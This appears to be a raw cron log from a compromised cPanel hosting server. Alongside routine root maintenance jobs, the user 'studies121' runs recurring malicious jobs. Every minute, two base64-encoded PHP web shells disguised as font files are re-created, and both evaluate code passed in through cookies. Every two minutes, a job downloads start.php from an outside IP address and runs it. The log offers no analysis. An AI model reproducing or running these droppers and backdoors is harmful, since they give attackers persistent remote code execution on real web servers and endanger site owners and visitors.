Aug 30 18:08:01 ip-184-168-122-23 CROND[21755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:08:01 ip-184-168-122-23 CROND[21758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:08:01 ip-184-168-122-23 CROND[21757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:08:01 ip-184-168-122-23 CROND[21759]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 18:09:01 ip-184-168-122-23 CROND[21899]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:09:01 ip-184-168-122-23 CROND[21903]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 18:09:01 ip-184-168-122-23 CROND[21904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:09:01 ip-184-168-122-23 CROND[21901]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:09:01 ip-184-168-122-23 CROND[21902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:10:01 ip-184-168-122-23 CROND[22015]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 18:10:01 ip-184-168-122-23 CROND[22016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:10:01 ip-184-168-122-23 CROND[22018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:10:01 ip-184-168-122-23 CROND[22021]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:10:01 ip-184-168-122-23 CROND[22022]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 18:10:01 ip-184-168-122-23 CROND[22028]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 18:10:01 ip-184-168-122-23 CROND[22026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:10:01 ip-184-168-122-23 CROND[22027]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 18:11:01 ip-184-168-122-23 CROND[22133]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:11:01 ip-184-168-122-23 CROND[22135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:11:01 ip-184-168-122-23 CROND[22134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:11:01 ip-184-168-122-23 CROND[22136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:12:01 ip-184-168-122-23 CROND[22331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:12:01 ip-184-168-122-23 CROND[22332]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:12:01 ip-184-168-122-23 CROND[22336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:12:01 ip-184-168-122-23 CROND[22334]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 18:12:01 ip-184-168-122-23 CROND[22337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:13:02 ip-184-168-122-23 CROND[22427]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:13:02 ip-184-168-122-23 CROND[22429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:13:02 ip-184-168-122-23 CROND[22430]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:13:02 ip-184-168-122-23 CROND[22431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:14:01 ip-184-168-122-23 CROND[22509]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:14:01 ip-184-168-122-23 CROND[22511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:14:01 ip-184-168-122-23 CROND[22512]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 18:14:01 ip-184-168-122-23 CROND[22513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:14:01 ip-184-168-122-23 CROND[22515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:15:02 ip-184-168-122-23 CROND[22615]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:15:02 ip-184-168-122-23 CROND[22611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:15:02 ip-184-168-122-23 CROND[22612]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Aug 30 18:15:02 ip-184-168-122-23 CROND[22613]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 30 18:15:02 ip-184-168-122-23 CROND[22617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:15:02 ip-184-168-122-23 CROND[22618]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 18:15:02 ip-184-168-122-23 CROND[22614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:15:02 ip-184-168-122-23 CROND[22619]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 18:16:01 ip-184-168-122-23 CROND[22763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:16:01 ip-184-168-122-23 CROND[22762]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 18:16:01 ip-184-168-122-23 CROND[22767]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 18:16:01 ip-184-168-122-23 CROND[22766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:16:01 ip-184-168-122-23 CROND[22764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:16:01 ip-184-168-122-23 CROND[22765]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:17:01 ip-184-168-122-23 CROND[22859]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:17:01 ip-184-168-122-23 CROND[22861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:17:01 ip-184-168-122-23 CROND[22862]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:17:01 ip-184-168-122-23 CROND[22863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:18:01 ip-184-168-122-23 CROND[22968]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:18:01 ip-184-168-122-23 CROND[22971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:18:01 ip-184-168-122-23 CROND[22970]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 18:18:01 ip-184-168-122-23 CROND[22972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:18:01 ip-184-168-122-23 CROND[22973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:19:01 ip-184-168-122-23 CROND[23060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:19:01 ip-184-168-122-23 CROND[23059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:19:01 ip-184-168-122-23 CROND[23061]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:19:01 ip-184-168-122-23 CROND[23058]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:20:01 ip-184-168-122-23 CROND[23176]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 18:20:02 ip-184-168-122-23 CROND[23178]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 18:20:02 ip-184-168-122-23 CROND[23181]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 18:20:02 ip-184-168-122-23 CROND[23183]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
